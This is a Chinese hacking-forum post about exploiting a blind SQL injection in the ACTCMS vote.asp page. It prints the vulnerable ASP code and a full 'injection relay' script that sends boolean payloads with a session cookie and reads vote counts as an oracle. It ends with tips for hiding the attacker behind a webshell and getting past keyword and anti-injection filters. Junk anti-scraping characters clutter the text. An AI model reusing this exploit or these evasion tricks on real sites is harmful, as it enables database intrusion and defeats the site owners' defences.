注入中转的高级应用，actcms漏洞以及其他

admin

+ x' P' e) W! c0 H看到ninty大牛的blog的一篇文章
6 y. w! }# \1 ^8 ^# W链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 |% q& @- h9 X0 n# x关于actcms漏洞的利用  by 3x qq:381862589
. D7 ?: Z5 E- f1 Q/ K' x" l+ l转载请注明以上
. I! l( K/ R6 X: X, D0 d4 W- ^漏洞文件：
+ |  g  q8 N% [: P4 |$ G4 I/plus/vote/vote.asp
) c$ }' x) j( i8 A- a" X, {代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
- y, o7 j# B  t% n
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

4    end if   

7 E9 U2 d& \! |; Q( u6 K$ n5    for i=1 to request("voted").count   

; s. c1 J/ E. ]/ l5 |9 I4 l6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
$ D; c6 Y* y+ J2 s( t1 X; o1 `6 _) }
7    next   
' g6 E8 O- B' V" p- Y) {( b2 {8 W
8....   

9response.Redirect "index.asp?id="&id&""   
6 l  \5 s  ^5 G* q" O! X3 ~+ G投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
+ C8 H$ a' Y8 l6 }+ U# O! D3 s( I            失败票数不变
如图：
5 k& c  D2 B+ F) I: g" ~* \$ Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 C6 b& e- y' U7 _; w
7 P( |! k4 \1 n3 H# a! [/ p2009-12-27 13:20
3 y2 W  S6 |& u
0 M) j3 a+ s- K2 w$ P利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
' X4 @+ ^8 V2 R
本帖隐藏的内容需要回复才可以浏览
2 t$ O7 F9 |3 B我们用注入中转来实现这个注入具体代码如下：
; Q* |6 Z, Z' |1 K先用寂寞的刺猬大牛的注入中转生成jmget.asp
' S3 a: b2 i) c! C/ g1 A注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
$ `/ ?# L$ y! `0 S; ]  ?- y
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
# m" u# o! Y: I2 B6 Q1 t) Q' S8 B
2 z7 w5 l1 Z6 H+ {  G+ W02JmdcwName=request("jmdcw")
& \- R" ]; H+ X5 s3 ~# u' v
$ j$ u# y: L& k# V; @+ [03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 n: }/ T$ T1 E  J: V
04JmStr="id=1&voted=-1 or 1="&JmdcwName

5 \3 z8 ]$ _: u) k9 p# c4 [* U0 |0 w05JmStr=URLEncoding(JmStr)
$ Z5 _$ r* J5 x9 y; b2 {1 D
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 x1 c9 B0 S- _- A
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

4 Z# {. ]( g: R  W- ^# n08testurl=testurl & "?" & JmStr
* V: o" x, @) @4 M! x5 \/ R% |' s
09JMUrl=JMUrl & "?" & JmStr

  L1 W; m3 n; e5 B4 x10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 K$ H2 i6 J% I" P5 j
8 W, i7 R( j2 s9 _. a1 Z9 l6 h! O11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
- o4 z3 m# Y1 ?" y+ n
- g' I% }$ c7 |12JmCok=replace(JmCok,chr(32),"%20")  
, E" x2 Y) U) L) y" Y
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! ^9 S0 G4 [# V  x
/ G) A9 E5 Y& P4 u& x9 r* d14  

8 g, D) p! x& p' B$ X; @15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
; H0 ^7 _- \* _+ \6 u* k7 J3 U
16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

% o& Y$ ?1 X3 i5 Q9 k18response.write test1&""&test2&""
4 D! M- I4 @5 U0 A; W
* f" J4 t) ?7 i. }19  
8 Q1 a  _0 i" f3 t
; c" }% B( B, g0 j. P20if test1=test2 then '如前后记录相等，表示失败
. A% Y+ c" B* z" B' Y
  U7 B/ l3 x: Y+ N! b2 g& x21  response.write "failed"
1 O# r5 q1 l7 r! w% b) R
22else
: M/ _) _3 S, _, Z4 V7 a
23  response.write "succeed"

24end if  

5 h" S& A: G1 l3 y: @: e- X25  
! D0 C7 c7 O! _7 ]) W
26response.write "by 3x"

" c. z# S7 f8 z# l, i+ _6 t27  

9 D7 u" ], g' E7 U1 r28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
1 w, V* P6 J4 d- X7 ?- N! c
2 f# O# k- X5 g. b6 A30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
* r& }( Z+ ]* _  s% B3 ]- O
$ u: R( k- Z' G9 k+ Q32With Http

33  

34.Open "GET",PostUrl,False

5 G8 L! Z6 }, _% B) h- ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
, n4 T7 h; I5 H4 ~5 k7 w& K5 j% i; J: h  Z
36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok

4 m6 A* Q2 {, v. v38.Send ()

39PostData = .ResponseBody

40End With
) Q, E1 @; ?$ V; e7 g: @- @: P
' j" ?) x5 X- v- l41Set Http = Nothing
4 C, r' P* g: Z; j
$ Y% k* @# d+ t: Q1 ], r  b* y42PostData =bytes2BSTR(PostData)

4 x: b' A4 Y; z4 J' i3 G1 n3 E43End Function
7 u3 x6 W: N& v. F
+ l4 w& R* e' D0 C. j44  

6 Q. E3 u! Q3 N* ?% L/ w+ J4 A, y5 O45  
4 s3 a, D* d  ~
46Function bytes2BSTR(vIn)
5 Z5 K$ ~# ]- Z5 W! [7 ]  L
. S% d: M3 O3 n* b7 \7 o4 \! P* H47Dim strReturn

" L2 ]% Z; ~" [48Dim I, ThisCharCode, NextCharCode
! |2 ^- y" w# [0 ~3 Q+ X, [; W' Y; B
- d- m8 Y4 x0 j/ Q2 c49strReturn = ""
  Y; t( D, P( P# _
50For I = 1 To LenB(vIn)
& `$ s% f7 y' b' `  r1 P$ C
51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
7 h& r  j1 A- X( w5 d
4 i8 c5 X* |$ `% f( D* _6 O3 N/ T& {53strReturn = strReturn & Chr(ThisCharCode)
4 q* R7 b4 v: V8 B4 P# ~" i
54Else
; u! v* E6 z. K6 P
0 w) l. p0 M. ^2 |3 I9 N# s  j55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. x* v6 T; v# B$ e5 E: t
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
1 p! _# R  ?+ X: T3 e9 w* R* C, u
57I = I + 1

58End If
& _8 ~. U5 i1 v# k
6 q( U* [' I) j2 x) Z  m$ g' n7 l) e59Next
. `) v, [1 U  z
60bytes2BSTR = strReturn

, m' D% ]0 B% \. e2 T$ N' U, B% d7 k; ^61End Function

  z+ M& F3 _  X0 c1 s62  
4 n& b1 H# m9 s9 ^% S; w
63Function URLEncoding(vstrin)  
; ~6 n# F/ `+ y) N# z
64strReturn=""

65Dim i
# L" h, y% o2 |
66For i=1 To Len(vstrin)
9 z- t1 b6 s3 T& ?" f( X
67ThisChr=Mid(vstrin,i,1)
  X% m& }' z- i
68if Abs(Asc(ThisChr))< &HFF Then
5 }- _  A1 d5 A
69strReturn=strReturn & ThisChr

70Else

; b4 T7 t7 E8 v0 B+ T0 ~( P6 K$ d71InnerCode=Asc(ThisChr)
; J' L/ s/ A$ a, z
72If InnerCode<0 Then
! F/ A8 O8 G. r, X
73InnerCode=InnerCode + &H10000

74End If
0 F5 Q; Z# r1 ~3 J0 q6 `* \
4 ]$ q  j/ e  g5 k/ B5 ^75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
& J/ k3 n& i4 y+ p- Q3 \
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

6 b, @+ t. z2 `( k* i) E3 W78End if
2 V( l8 ?( l, W. N
3 _% e  f/ ]2 s* @0 i$ j* `79Next
! S9 A0 \0 B! f; ]3 Z+ g
. J. r) Y+ R+ K8 `) \8 m80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
" O) o( g0 z( ^
" N) Y7 _# `" k" m81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

' }7 g& W% I5 q( S1 l) R82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
! @( D5 g" J3 y) v
9 ?7 _8 D: y, {9 W& E1 Q5 J/ D+ U84End Function

& a# A0 V& }, A& e$ w) ~85  

1 t! \# c+ ?5 v2 u1 R* m86function getSt(body)
# U3 ?$ i! r% i. W9 D1 L  i
87  startpot=instr(body,"投票人数：")+len("投票人数：")

# \0 v% @! t8 I88  endpot=instr(startpot,body," ")

89  getSt=mid(body,startpot,endpot-startpot)
1 i4 a8 x/ S6 V4 t1 p
90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
8 P. f& C9 I6 I1 T7 h* v, K$ ^3 I2 I测试下效果：
: m, i' o* S# {, U, G" Y6 m: N! t投票成功：
) k9 Z! e% ~# p; Ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 c8 \% {4 S5 g2 w. ~2 Q* g
$ ^" l1 {( n, h1 i( o3 p- p2009-12-27 13:29
投票失败
7 g' ]' Q7 H. q& c+ J5 A$ p+ |; uhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 Q6 k5 E1 `3 v8 I' G/ X% T
& t/ O) C$ ^9 c$ q5 T9 ]* e2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
$ S  h; e  L5 L1 ?# s' R很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
, X3 a  |) \+ @- R, L' D
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
) `: M6 Z9 s* f, N+ B& U: D2.post注入转成get型的注入，方便我们使用工具来跑
# l0 K. G9 P, R/ G$ o4 @; p3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过